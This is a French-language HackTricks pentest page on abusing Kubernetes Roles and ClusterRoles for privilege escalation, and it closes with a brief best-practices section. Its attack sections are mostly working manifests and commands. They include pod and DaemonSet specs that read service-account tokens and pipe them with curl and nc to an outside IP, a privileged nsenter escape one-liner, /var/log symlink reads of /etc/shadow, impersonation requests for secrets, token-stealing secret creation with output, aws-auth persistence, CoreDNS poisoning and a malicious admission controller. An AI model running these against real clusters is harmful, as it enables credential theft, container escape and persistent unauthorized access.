Abusing Roles/ClusterRoles in Kubernetes

Reading time: 29 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Ici, vous pouvez trouver certaines configurations de Roles et ClusterRoles potentiellement dangereuses.
N'oubliez pas que vous pouvez obtenir toutes les ressources prises en charge avec kubectl api-resources

Escalade de Privilèges

Se référant à l'art d'obtenir l'accès à un autre principal au sein du cluster avec des privilèges différents (au sein du cluster kubernetes ou vers des clouds externes) de ceux que vous avez déjà, dans Kubernetes, il existe essentiellement 4 techniques principales pour escalader les privilèges :

  • Être capable de s'imposer à d'autres utilisateurs/groupes/SAs avec de meilleurs privilèges au sein du cluster kubernetes ou vers des clouds externes
  • Être capable de créer/patcher/exécuter des pods où vous pouvez trouver ou attacher des SAs avec de meilleurs privilèges au sein du cluster kubernetes ou vers des clouds externes
  • Être capable de lire des secrets car les tokens des SAs sont stockés en tant que secrets
  • Être capable de s'échapper vers le nœud depuis un conteneur, où vous pouvez voler tous les secrets des conteneurs en cours d'exécution sur le nœud, les identifiants du nœud et les permissions du nœud au sein du cloud dans lequel il s'exécute (le cas échéant)
  • Une cinquième technique qui mérite d'être mentionnée est la capacité de faire un port-forward dans un pod, car vous pourriez être en mesure d'accéder à des ressources intéressantes au sein de ce pod.

Accéder à n'importe quelle ressource ou verbe (Wildcard)

Le wildcard (*) donne la permission sur n'importe quelle ressource avec n'importe quel verbe. Il est utilisé par les administrateurs. À l'intérieur d'un ClusterRole, cela signifie qu'un attaquant pourrait abuser de n'importe quel namespace dans le cluster.

yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Accéder à n'importe quelle ressource avec un verbe spécifique

Dans RBAC, certaines permissions présentent des risques significatifs :

  1. create: Accorde la capacité de créer n'importe quelle ressource de cluster, risquant une élévation de privilèges.
  2. list: Permet de lister toutes les ressources, pouvant potentiellement entraîner une fuite de données sensibles.
  3. get: Permet d'accéder aux secrets des comptes de service, posant une menace pour la sécurité.
yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Create - Steal Token

Un attaquant ayant les permissions de créer un pod pourrait attacher un compte de service privilégié dans le pod et voler le jeton pour usurper l'identité du compte de service. Cela permet d'escalader effectivement les privilèges.

Exemple d'un pod qui volera le jeton du compte de service bootstrap-signer et l'enverra à l'attaquant :

yaml
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Création et Évasion de Pod

Les éléments suivants indiquent tous les privilèges qu'un conteneur peut avoir :

  • Accès privilégié (désactivation des protections et définition des capacités)
  • Désactiver les namespaces hostIPC et hostPid qui peuvent aider à élever les privilèges
  • Désactiver le namespace hostNetwork, donnant accès pour voler les privilèges cloud des nœuds et un meilleur accès aux réseaux
  • Monter les hôtes / à l'intérieur du conteneur
super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Créez le pod avec :

bash
kubectl --token $token create -f mount_root.yaml

Une ligne provenant de ce tweet et avec quelques ajouts :

bash
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Stealth

Vous voulez probablement être plus discret. Dans les pages suivantes, vous pouvez voir ce à quoi vous pourriez accéder si vous créez un pod en n'activant que certains des privilèges mentionnés dans le modèle précédent :

  • Privileged + hostPID
  • Privileged only
  • hostPath
  • hostPID
  • hostNetwork
  • hostIPC

Vous pouvez trouver un exemple de comment créer/abuser des configurations de pods privilégiés précédentes dans https://github.com/BishopFox/badPods

Pod Create - Move to cloud

Si vous pouvez créer un pod (et éventuellement un compte de service), vous pourriez être en mesure de obtenir des privilèges dans un environnement cloud en assignant des rôles cloud à un pod ou à un compte de service et ensuite y accéder.
De plus, si vous pouvez créer un pod avec l'espace de noms réseau de l'hôte, vous pouvez voler le rôle IAM de l'instance node.

Pour plus d'informations, consultez :

Pod Escape Privileges

Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs

Il est possible d'abuser de ces permissions pour créer un nouveau pod et établir des privilèges comme dans l'exemple précédent.

Le yaml suivant crée un daemonset et exfiltre le token du SA à l'intérieur du pod :

yaml
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

pods/exec est une ressource dans kubernetes utilisée pour exécuter des commandes dans un shell à l'intérieur d'un pod. Cela permet de lancer des commandes à l'intérieur des conteneurs ou d'obtenir un shell à l'intérieur.

Par conséquent, il est possible de rentrer dans un pod et voler le token du SA, ou d'entrer dans un pod privilégié, s'échapper vers le nœud et voler tous les tokens des pods dans le nœud et (ab)user du nœud :

bash
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

note

Par défaut, la commande est exécutée dans le premier conteneur du pod. Obtenez tous les pods dans un conteneur avec kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}' et ensuite indiquez le conteneur où vous souhaitez l'exécuter avec kubectl exec -it <pod_name> -c <container_name> -- sh

Si c'est un conteneur distroless, vous pouvez essayer d'utiliser des commandes intégrées pour obtenir des informations sur les conteneurs ou télécharger vos propres outils comme un busybox en utilisant : kubectl cp </path/local/file> <podname>:</path/in/container>.

port-forward

Cette permission permet de rediriger un port local vers un port dans le pod spécifié. Cela est destiné à faciliter le débogage des applications s'exécutant à l'intérieur d'un pod, mais un attaquant pourrait en abuser pour accéder à des applications intéressantes (comme des bases de données) ou vulnérables (webs ?) à l'intérieur d'un pod :

bash
kubectl port-forward pod/mypod 5000:5000

Hôtes Écrits /var/log/ Évasion

Comme indiqué dans cette recherche, si vous pouvez accéder ou créer un pod avec le répertoire /var/log/ des hôtes monté dessus, vous pouvez vous échapper du conteneur.
C'est essentiellement parce que lorsque le Kube-API essaie d'obtenir les journaux d'un conteneur (en utilisant kubectl logs <pod>), il demande le fichier 0.log du pod en utilisant le point de terminaison /logs/ du service Kubelet.
Le service Kubelet expose le point de terminaison /logs/ qui expose essentiellement le système de fichiers /var/log du conteneur.

Par conséquent, un attaquant ayant accès en écriture dans le dossier /var/log/ du conteneur pourrait abuser de ce comportement de 2 manières :

  • Modifier le fichier 0.log de son conteneur (généralement situé dans /var/logs/pods/namespace_pod_uid/container/0.log) pour qu'il soit un symlink pointant vers /etc/shadow par exemple. Ensuite, vous pourrez exfiltrer le fichier shadow des hôtes en faisant :
bash
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • Si l'attaquant contrôle un principal avec les permissions pour lire nodes/log, il peut simplement créer un symlink dans /host-mounted/var/log/sym vers / et lorsqu'il accède à https://<gateway>:10250/logs/sym/, il listera le système de fichiers racine de l'hôte (changer le symlink peut fournir un accès à des fichiers).
bash
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Un laboratoire et un exploit automatisé peuvent être trouvés dans https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Contournement de la protection readOnly

Si vous avez la chance et que la capacité hautement privilégiée CAP_SYS_ADMIN est disponible, vous pouvez simplement remonter le dossier en rw :

bash
mount -o rw,remount /hostlogs/

Contournement de la protection readOnly de hostPath

Comme indiqué dans cette recherche, il est possible de contourner la protection :

yaml
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Ce qui était censé prévenir les échappements comme les précédents en utilisant, au lieu d'un montage hostPath, un PersistentVolume et un PersistentVolumeClaim pour monter un dossier d'hôtes dans le conteneur avec un accès en écriture :

yaml
apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Usurpation de comptes privilégiés

Avec un droit d'usurpation d'utilisateur, un attaquant pourrait usurper un compte privilégié.

Il suffit d'utiliser le paramètre --as=<username> dans la commande kubectl pour usurper un utilisateur, ou --as-group=<group> pour usurper un groupe :

bash
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Ou utilisez l'API REST :

bash
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Listing Secrets

Le droit de lister les secrets pourrait permettre à un attaquant de réellement lire les secrets en accédant au point de terminaison de l'API REST :

bash
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Création et Lecture de Secrets

Il existe un type spécial de secret Kubernetes de type kubernetes.io/service-account-token qui stocke les jetons de compte de service. Si vous avez les autorisations pour créer et lire des secrets, et que vous connaissez également le nom du compte de service, vous pouvez créer un secret comme suit et ensuite voler le jeton du compte de service de la victime à partir de celui-ci :

yaml
apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token

Exploitation d'exemple :

bash
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)

$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
secrets                                         []                                     []               [get create]
[/.well-known/openid-configuration/]   []               [get]
<SNIP>
[/version]                             []               [get]

$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"

$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"

$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created

$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}

Notez que si vous êtes autorisé à créer et lire des secrets dans un certain namespace, le serviceaccount de la victime doit également se trouver dans ce même namespace.

Lecture d'un secret – force brute des ID de token

Bien qu'un attaquant en possession d'un token avec des permissions de lecture nécessite le nom exact du secret pour l'utiliser, contrairement au privilège plus large de lister les secrets, il existe encore des vulnérabilités. Les comptes de service par défaut dans le système peuvent être énumérés, chacun étant associé à un secret. Ces secrets ont une structure de nom : un préfixe statique suivi d'un token alphanumérique aléatoire de cinq caractères (à l'exception de certains caractères) selon le source code.

Le token est généré à partir d'un ensemble limité de 27 caractères (bcdfghjklmnpqrstvwxz2456789), plutôt que de l'ensemble alphanumérique complet. Cette limitation réduit le nombre total de combinaisons possibles à 14 348 907 (27^5). Par conséquent, un attaquant pourrait raisonnablement exécuter une attaque par force brute pour déduire le token en quelques heures, ce qui pourrait conduire à une élévation de privilèges en accédant à des comptes de service sensibles.

EncrpytionConfiguration en texte clair

Il est possible de trouver des clés en texte clair pour chiffrer des données au repos dans ce type d'objet comme :

yaml
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/

#
# CAUTION: this is an example configuration.
#          Do not use this for your own cluster!
#

apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==

Certificate Signing Requests

Si vous avez le verbe create dans la ressource certificatesigningrequests (ou au moins dans certificatesigningrequests/nodeClient). Vous pouvez create un nouveau CeSR d'un nouveau nœud.

Selon la documentation, il est possible d'approuver automatiquement ces demandes, donc dans ce cas, vous n'avez pas besoin de permissions supplémentaires. Sinon, vous devrez être en mesure d'approuver la demande, ce qui signifie une mise à jour dans certificatesigningrequests/approval et approve dans signers avec resourceName <signerNameDomain>/<signerNamePath> ou <signerNameDomain>/*

Un exemple de rôle avec toutes les permissions requises est :

yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Alors, avec le nouveau CSR de nœud approuvé, vous pouvez abuser des permissions spéciales des nœuds pour voler des secrets et escalader des privilèges.

Dans cet article et celui-ci, la configuration de GKE K8s TLS Bootstrap est configurée avec signature automatique et elle est abusée pour générer des identifiants d'un nouveau nœud K8s, puis abuser de ceux-ci pour escalader des privilèges en volant des secrets.
Si vous avez les privilèges mentionnés, vous pourriez faire la même chose. Notez que le premier exemple contourne l'erreur empêchant un nouveau nœud d'accéder aux secrets à l'intérieur des conteneurs parce qu'un nœud ne peut accéder qu'aux secrets des conteneurs montés sur lui.

La façon de contourner cela est simplement de créer des identifiants de nœud pour le nom du nœud où le conteneur avec les secrets intéressants est monté (mais vérifiez juste comment le faire dans le premier article) :

bash
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

Les principaux qui peuvent modifier configmaps dans l'espace de noms kube-system sur les clusters EKS (doivent être dans AWS) peuvent obtenir des privilèges d'administrateur de cluster en écrasant le configmap aws-auth.
Les verbes nécessaires sont update et patch, ou create si le configmap n'a pas été créé :

bash
# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

warning

Vous pouvez utiliser aws-auth pour la persistance en donnant accès à des utilisateurs d'autres comptes.

Cependant, aws --profile other_account eks update-kubeconfig --name <cluster-name> ne fonctionne pas depuis un compte différent. Mais en réalité, aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing fonctionne si vous mettez l'ARN du cluster au lieu de juste le nom.
Pour faire fonctionner kubectl, assurez-vous simplement de configurer le kubeconfig de la victime et dans les arguments d'exécution aws, ajoutez --profile other_account_role afin que kubectl utilise le profil de l'autre compte pour obtenir le token et contacter AWS.

CoreDNS config map

Si vous avez les permissions pour modifier le coredns configmap dans l'espace de noms kube-system, vous pouvez modifier les adresses que les domaines seront résolus afin de pouvoir effectuer des attaques MitM pour voler des informations sensibles ou injecter du contenu malveillant.

Les verbes nécessaires sont update et patch sur le coredns configmap (ou tous les config maps).

Un fichier coredns régulier contient quelque chose comme ceci :

yaml
data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}

Un attaquant pourrait le télécharger en exécutant kubectl get configmap coredns -n kube-system -o yaml, le modifier en ajoutant quelque chose comme rewrite name victim.com attacker.com afin que chaque fois que victim.com est accédé, en réalité attacker.com soit le domaine qui sera accédé. Puis, il pourrait l'appliquer en exécutant kubectl apply -f poison_dns.yaml.

Une autre option est de simplement éditer le fichier en exécutant kubectl edit configmap coredns -n kube-system et en apportant des modifications.

Escalade dans GKE

Il existe 2 façons d'assigner des permissions K8s aux principaux GCP. Dans tous les cas, le principal a également besoin de la permission container.clusters.get pour pouvoir rassembler des informations d'identification pour accéder au cluster, sinon vous devrez générer votre propre fichier de configuration kubectl (suivez le lien suivant).

warning

Lorsqu'il communique avec le point de terminaison API K8s, le jeton d'authentification GCP sera envoyé. Ensuite, GCP, via le point de terminaison API K8s, vérifiera d'abord si le principal (par e-mail) a un accès à l'intérieur du cluster, puis il vérifiera s'il a un accès via GCP IAM.
Si l'un de ces éléments est vrai, il sera répondu. Sinon, une erreur suggérant de donner des permissions via GCP IAM sera donnée.

Ensuite, la première méthode consiste à utiliser GCP IAM, les permissions K8s ont leurs permissions GCP IAM équivalentes, et si le principal les a, il pourra les utiliser.

GCP - Container Privesc

La deuxième méthode consiste à assigner des permissions K8s à l'intérieur du cluster en identifiant l'utilisateur par son e-mail (comptes de service GCP inclus).

Créer un jeton de service

Les principaux qui peuvent créer des TokenRequests (serviceaccounts/token) lorsqu'ils communiquent avec le point de terminaison API K8s SAs (info de ici).

ephemeralcontainers

Les principaux qui peuvent update ou patch pods/ephemeralcontainers peuvent obtenir l'exécution de code sur d'autres pods, et potentiellement s'échapper vers leur nœud en ajoutant un conteneur éphémère avec un securityContext privilégié.

ValidatingWebhookConfigurations ou MutatingWebhookConfigurations

Les principaux avec l'un des verbes create, update ou patch sur validatingwebhookconfigurations ou mutatingwebhookconfigurations pourraient être en mesure de créer l'une de ces configurations de webhook afin de pouvoir escalader les privilèges.

Pour un exemple de mutatingwebhookconfigurations, consultez cette section de ce post.

Escalader

Comme vous pouvez le lire dans la section suivante : Prévention intégrée de l'escalade de privilèges, un principal ne peut ni mettre à jour ni créer des rôles ou des clusterroles sans avoir lui-même ces nouvelles permissions. Sauf s'il a le verbe escalate ou * sur roles ou clusterroles et les options de liaison respectives.
Alors il peut mettre à jour/créer de nouveaux rôles, clusterroles avec de meilleures permissions que celles qu'il a.

Proxy des nœuds

Les principaux ayant accès à la sous-ressource nodes/proxy peuvent exécuter du code sur des pods via l'API Kubelet (selon ceci). Plus d'informations sur l'authentification Kubelet sur cette page :

Kubelet Authentication & Authorization

Vous avez un exemple de comment obtenir RCE en parlant autorisé à une API Kubelet ici.

Supprimer des pods + nœuds non planifiables

Les principaux qui peuvent supprimer des pods (verbe delete sur la ressource pods), ou évincer des pods (verbe create sur la ressource pods/eviction), ou changer le statut des pods (accès à pods/status) et peuvent rendre d'autres nœuds non planifiables (accès à nodes/status) ou supprimer des nœuds (verbe delete sur la ressource nodes) et ont le contrôle sur un pod, pourraient voler des pods d'autres nœuds afin qu'ils soient exécutés dans le nœud compromis et l'attaquant peut voler les jetons de ces pods.

bash
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Services status (CVE-2020-8554)

Les principaux qui peuvent modifier services/status peuvent définir le champ status.loadBalancer.ingress.ip pour exploiter le CVE-2020-8554 non corrigé et lancer des attaques MiTM contre le cluster. La plupart des atténuations pour le CVE-2020-8554 ne préviennent que les services ExternalIP (selon ceci).

Nodes and Pods status

Les principaux avec des permissions update ou patch sur nodes/status ou pods/status, pourraient modifier des étiquettes pour affecter les contraintes de planification appliquées.

Built-in Privileged Escalation Prevention

Kubernetes a un mécanisme intégré pour prévenir l'escalade de privilèges.

Ce système garantit que les utilisateurs ne peuvent pas élever leurs privilèges en modifiant des rôles ou des liaisons de rôles. L'application de cette règle se fait au niveau de l'API, fournissant une protection même lorsque l'autorisateur RBAC est inactif.

La règle stipule qu'un utilisateur ne peut créer ou mettre à jour un rôle que s'il possède toutes les permissions que le rôle comprend. De plus, la portée des permissions existantes de l'utilisateur doit correspondre à celle du rôle qu'il tente de créer ou de modifier : soit à l'échelle du cluster pour les ClusterRoles, soit confinée au même espace de noms (ou à l'échelle du cluster) pour les Roles.

warning

Il existe une exception à la règle précédente. Si un principal a le verbe escalate sur roles ou clusterroles, il peut augmenter les privilèges des rôles et des clusterroles même sans avoir les permissions lui-même.

Get & Patch RoleBindings/ClusterRoleBindings

caution

Apparemment, cette technique a fonctionné auparavant, mais selon mes tests, elle ne fonctionne plus pour la même raison expliquée dans la section précédente. Vous ne pouvez pas créer/modifier un rolebinding pour vous donner ou donner à un autre SA des privilèges si vous ne les avez pas déjà.

Le privilège de créer des Rolebindings permet à un utilisateur de lier des rôles à un compte de service. Ce privilège peut potentiellement conduire à une escalade de privilèges car il permet à l'utilisateur de lier des privilèges d'administrateur à un compte de service compromis.

Other Attacks

Sidecar proxy app

Par défaut, il n'y a pas de cryptage dans la communication entre les pods. Authentification mutuelle, bidirectionnelle, pod à pod.

Create a sidecar proxy app

Un conteneur sidecar consiste simplement à ajouter un deuxième (ou plusieurs) conteneur à l'intérieur d'un pod.

Par exemple, ce qui suit fait partie de la configuration d'un pod avec 2 conteneurs :

yaml
spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]

Par exemple, pour créer une porte dérobée dans un pod existant avec un nouveau conteneur, vous pourriez simplement ajouter un nouveau conteneur dans la spécification. Notez que vous pourriez donner plus de permissions au deuxième conteneur que le premier n'aura pas.

Plus d'infos sur : https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Contrôleur d'admission malveillant

Un contrôleur d'admission intercepte les requêtes vers le serveur API Kubernetes avant la persistance de l'objet, mais après que la requête soit authentifiée et autorisée.

Si un attaquant parvient d'une manière ou d'une autre à injecter un contrôleur d'admission de mutation, il pourra modifier des requêtes déjà authentifiées. Cela pourrait potentiellement permettre une élévation de privilèges, et plus généralement persister dans le cluster.

Exemple de https://blog.rewanthtammana.com/creating-malicious-admission-controllers :

bash
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Vérifiez le statut pour voir s'il est prêt :

bash
kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

mutating-webhook-status-check.PNG

Ensuite, déployez un nouveau pod :

bash
kubectl run nginx --image nginx
kubectl get po -w

Lorsque vous voyez l'erreur ErrImagePull, vérifiez le nom de l'image avec l'une des requêtes suivantes :

bash
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

malicious-admission-controller.PNG

Comme vous pouvez le voir dans l'image ci-dessus, nous avons essayé d'exécuter l'image nginx, mais l'image finalement exécutée est rewanthtammana/malicious-image. Que s'est-il passé !!?

Technicalités

Le script ./deploy.sh établit un contrôleur d'admission de webhook mutateur, qui modifie les requêtes à l'API Kubernetes comme spécifié dans ses lignes de configuration, influençant les résultats observés :

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

Le snippet ci-dessus remplace la première image de conteneur dans chaque pod par rewanthtammana/malicious-image.

Contournement de l'OPA Gatekeeper

Kubernetes OPA Gatekeeper bypass

Meilleures Pratiques

Désactivation de l'Automount des Jetons de Compte de Service

  • Pods et Comptes de Service : Par défaut, les pods montent un jeton de compte de service. Pour améliorer la sécurité, Kubernetes permet de désactiver cette fonctionnalité d'automount.
  • Comment Appliquer : Définissez automountServiceAccountToken: false dans la configuration des comptes de service ou des pods à partir de la version 1.6 de Kubernetes.

Attribution d'Utilisateurs Restrictive dans les RoleBindings/ClusterRoleBindings

